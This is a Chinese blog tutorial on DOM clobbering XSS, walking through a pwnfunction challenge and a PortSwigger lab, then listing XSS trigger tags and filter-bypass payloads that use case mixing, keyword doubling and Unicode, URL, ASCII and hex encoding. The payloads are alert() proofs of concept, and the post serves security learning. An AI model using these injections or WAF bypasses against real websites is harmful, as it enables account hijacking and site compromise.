xss之DOM破坏

文章目录

  • DOM破坏
  • 漏洞的复现
    • https://xss.pwnfunction.com/
    • 基于bp学院DOM破坏漏洞复现
    • 思路分析
    • 实现
  • 常见的xss触发的标签
    • 没有过滤的情况
    • 存在过滤的情况

DOM破坏

DOM破坏就是⼀种将 HTML 代码注⼊⻚⾯中以操纵 DOM 并最终更改⻚⾯上 JavaScript ⾏为的技术。 在⽆法直接 XSS的情况下,我们就可以往这⽅向考虑。

漏洞的复现

https://xss.pwnfunction.com/

在这里插入图片描述
GET参数boomer被设置为boomer.innerHTML,通过get参数将内容写入h2标签内,而且有过滤框架DOMPurify

setTimeout可以接受函数或字符串作为参数并执行它。在这里,ok变量被执行,但它不存在。

这里的JS代码是没有任何关于ok参数的定义的,所以我们可以使用DOM破坏,通过DOM破坏,将HTML元素注入到DOM中。

创建JavaScript变量构造ok参数,因为setTimeout函数执行字符串,所以需要用到或者标签
构造pyload

<a id=ok href="tel:alert(1)">a

基于bp学院DOM破坏漏洞复现

在这里插入图片描述

思路分析

在这里插入图片描述
分析代码可以看到可以用DOM破坏来控制window.defaultAvatar ,前提是我们原来没有头像然后就可以可以⽤⼀个构造⼀个defaultAvatar.avatar 来进行xss攻击。
我们来举个例子

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:&quot;οnerrοr=alert(1)//">

在这里插入图片描述
当输出 console.log(defaultAvatar)发现是一个数组,那就简单了,我们直接输出 console.log(defaultAvatar.avatar)发现输出的是a标签里面得内容。
在这里插入图片描述
我们在用alert方法打印一下defaultAvatar.avatar发现进行了弹窗,说明将href中的数据拿了出来。
在这里插入图片描述

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;οnerrοr=alert(1)//">

我们再来分析一下这段代码
当我们看源码的时候发现src需要用双引号来进行闭合,但是注意一点的是"必须要用html的实体编码。当执行之后&quot就会被解析成了"实现了闭合。
为什么用cid这个伪协议呢,我们来举个例子
在这里插入图片描述
在这里插入图片描述
我们发现弹出了整个的url地址,因为是url地址所以&quot被解析成了%22
当我们用一个从来没有的协议
在这里插入图片描述

在这里插入图片描述
我们发现弹出的仅仅是href里面得内容,并且&quot也成功的解析成了"

实现

我们随便打开一个评论进行评论
在这里插入图片描述

提交之后再随便的评论一下发现触发了弹窗。
在这里插入图片描述

常见的xss触发的标签

没有过滤的情况

//<script>
<scirpt>alert("xss");</script>
//img
图片加载错误时触发
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
鼠标指针移动到元素时触发
<img src=1 onmouseover="alert(1)">
鼠标指针移出时触发
<img src=1 onmouseout="alert(1)">
//<a>
<a href=javascript:alert('xss')>test</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
//<input>
<input onfocus="alert('xss');">
竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
//<svg>
<svg onload=alert(1)>
//javascript伪协议
<a>标签
<a href="javascript:alert('xss');">xss</a>
<iframe>标签
<iframe src=javascript:alert('xss');></iframe>
<img>标签
<img src=javascript:alert('xss')>//IE7以下
<form>标签
<form action="Javascript:alert(1)"><input type=submit>

存在过滤的情况

//过滤空格
用 / 代替空格
<img/src="x"/onerror=alert("xss");>
//过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)
<imimgg srsrcc=x onerror=alert("xss");>
字符拼接(利用eval)
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
//编码绕过
Unicode编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
//过滤双引号,单引号
如果是html标签中,我们可以不用引号;如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(``xss``);>
//过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/403433.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

牛客JS题(四十五)数组去重

注释很详细&#xff0c;直接上代码 涉及知识点&#xff1a; set的灵活用法去除的判别标准 题干&#xff1a; 我的答案 <!DOCTYPE html> <html><head><meta charset"UTF-8" /><style>/* 填写样式 */</style></head><bo…

【Docker】Docker Compose(容器编排)

一、什么是 Docker Compose docker-compose 是 Docker 官方的开源项目&#xff0c;使用 python 编写&#xff0c;实现上调用了 Docker 服务的 API 进行容器管理及编排&#xff0c;其官方定义为定义和运行多个 Docker 容器的应用。 docker-compose 中有两个非常重要的概念&…

趣映 v2.3.8 高级版 剪映替代品 解锁会员功能

看到名字&#xff0c;想必很多网友会联想到剪映&#xff0c;没错&#xff0c;趣映也是一款类似剪映的视频编辑工具。趣映为用户提供了全面的视频编辑和制作&#xff0c;更专注于动画视频制作的软件。功能齐全&#xff0c;操作简单&#xff0c;可以帮助用户从灵感创作到成片输出…

MYSQL----表的创建

1.创建表 create table 表名&#xff08; field1 datetype, field2 datetype, field3 datetype &#xff09; 1.field字段名&#xff0c;也就是属性&#xff0c;相当于java类里面的成员属性 2.datetype 数据类型 3.最后一个字段的定义&#xff0c;结束没有逗号 4.字段的定义在…

【学习总结】JVM篇

JVM JVM基础知识 主力机型 HotSpot VM HotSpot虚拟机时OpenJDK和OracleJDK中默认的Java虚拟机。它最初并非由Sun公司所开发&#xff0c;而是由一家名为“Longview Technologies”的小公司设计。Sun公司注意到这款虚拟机在即时编译等多个方面有着优秀的理念和实际成果&#…

解决问题:Arcgis10.8“数据“-“导出至CAD“时就卡死了

问题现象&#xff1a;我们在使用Arcgis10.8软件&#xff0c;执行 “数据导出至CAD”操作时&#xff0c;会出现卡死的情况&#xff0c;步骤如下图所示&#xff1a; 解决方案&#xff1a;在菜单栏依次选择“地理处理”-“地理处理选项”&#xff0c;然后在“后台处理”和“发生错…

金价多次尝试刷新最高纪录,美国零售销售数据是绊马索

金价一直在试探新高&#xff0c;该纪录为每盎司2,485美元。而且&#xff0c;强劲的美国零售销售报告正在阻止金价的上涨。 由于强大的阻力&#xff0c;金价无法继续上涨。一周的净空头头寸大增。 发布了强于预期的美国零售销售报告后&#xff0c;金价承受了压力。期望的50个基…

递归--数据结构--黑马

递归 总结一句话&#xff0c;上手直接多刷Leetcode&#xff0c;比看这个更有用。 定义 递归是一种解决计算问题的方法&#xff0c;其中解决方案取决于同一类问题的更小子集。 例如&#xff0c;单链表递归遍历的例子&#xff1a; void f(Node node) {if (node null) {retu…

Ubuntu18.04 配置EtherCAT主站IGH SOEM

IGH IGH 是开源的EtherCAT 主站软件 一、安装依赖 sudo apt update sudo apt install build-essential linux-headers-$(uname -r) mercurial autoconf libtool 也不知道安装的完全不完全 uname -r 可以查看内核&#xff0c;我安装的ubuntu18.04的内核版本是 5.4.0-84-gen…

Koa商城项目-轮播图模块(后端)

前言 通过这次独自做前后端发现有很多需要提升的地方&#xff0c;很多细节处理不到位。下面简单看一下本人自己做的效果吧~~ Git地址 https://gitee.com/ah-ah-bao/koa_system 效果图 后端逻辑分析 首先编写route->banner.router.js /*** author: zxb* date: 2024-08-06…

k8s 部署polardb-x集群

前言 体验了基于源码构建的部署polardb-x 单机部署&#xff0c;当然也想体验性能更好的完全分布式集群。这边文章将重点介绍如何部署polardb-x集群 简介 PolarDB-X 是一款面向超高并发、海量存储、复杂查询场景设计的云原生分布式数据库系统。其采用 Shared-nothing 与存储计…

二叉树详解(1)

文章目录 目录1. 树的概念及结构1.1 树的相关概念1.2 树的表示1.3 树在实际中的运用&#xff08;表示文件系统的目录树结构&#xff09; 2. 二叉树的概念及结构2.1 概念2.2 特殊的二叉树2.3 二叉树的存储结构 3. 二叉树的顺序结构及实现3.1 二叉树的顺序结构3.2 堆的概念及结构…

Ubuntu基础使用

1.首先我们先获取ubuntu的操作相同其中也分为4部分&#xff1a; 1.云服务器。在服务器里面我们可以去选择3种服务器分别为阿里云&#xff0c;腾讯云&#xff0c;华为云&#xff0c;这3个&#xff0c;有服务器才可以进去进行操作。 2.双系统。双系统有一个特点就是只能同时启动一…

机器学习:线性回归算法(一元和多元回归代码)

1、线性回归 1、数据准备&#xff1a; 描述如何获取和准备数据。 2、图像预处理&#xff1a; 包括图像读取。 3、将数据划分为训练集和测试集。 4、计算数据的相关系数矩阵。 5、模型训练&#xff1a; 详细说明如何使用线性回归算法训练模型&…

AI视频创作原理

重磅推荐专栏: 《大模型AIGC》 《课程大纲》 《知识星球》 本专栏致力于探索和讨论当今最前沿的技术趋势和应用领域,包括但不限于ChatGPT和Stable Diffusion等。我们将深入研究大型模型的开发和应用,以及与之相关的人工智能生成内容(AIGC)技术。通过深入的技术解析和实践经…

打卡学习Python爬虫第二天|Web请求过程刨析

一、服务器渲染 服务器端渲染&#xff08;Server-Side Rendering&#xff0c;简称SSR&#xff09;是一种网页渲染技术。在这种技术中&#xff0c;服务器在接收到客户端的请求后&#xff0c;会生成页面的初始HTML内容&#xff0c;并将其发送给客户端。客户端浏览器接收到这些HT…

Go Roadmap-Basics中文笔记

Go Roadmap-Basics 地址&#xff1a;https://roadmap.sh/golang 简介&#xff1a;Github star No.6 学习路线 Go 中译版 Learn the Basics Go特点&#xff1a;静态类型&#xff0c;运行速度快&#xff0c;编译语言&#xff0c;编译速度快&#xff0c;自动垃圾回收&#xff…

Linux中查看修改系统系统时间

当我们项目部署在Linux中&#xff0c;随着服务器运行时间变长&#xff0c;会出现Linux服务器时间变快或者变慢的情况&#xff0c;有些系统对时间准确性要求比较高&#xff0c;笔者有碰到某天服务器突然无法调用第三方接口&#xff0c;最终排查后系统时间超过15分钟&#xff0c;…

SAR靶机笔记

SAR 靶机笔记 概述 SAR 是 Vulnhub 上的靶机&#xff0c;大家可以去 vulnhub 网站上去进行下载。 这里有链接&#xff1a; https://download.vulnhub.com/sar/sar.zip 一丶常规的 nmap 扫描 1&#xff09;主机发现 sn 只做 ping 扫描&#xff0c;不做端口扫描 nmap -sn …

Linux - 基础工具使用

文章目录 一、yum1、介绍2、功能3、语法4、使用 二、rzsz1、安装rzsz的指令2、介绍3、使用 三、vim基础使用1、介绍2、基础使用 四、gcc/g使用1、生成可执行文件过程2、语法3、常用选项4、编译过程5、动静态库6、包含头文件的多文件编译7、链接外部库 一、yum 1、介绍 Linux中…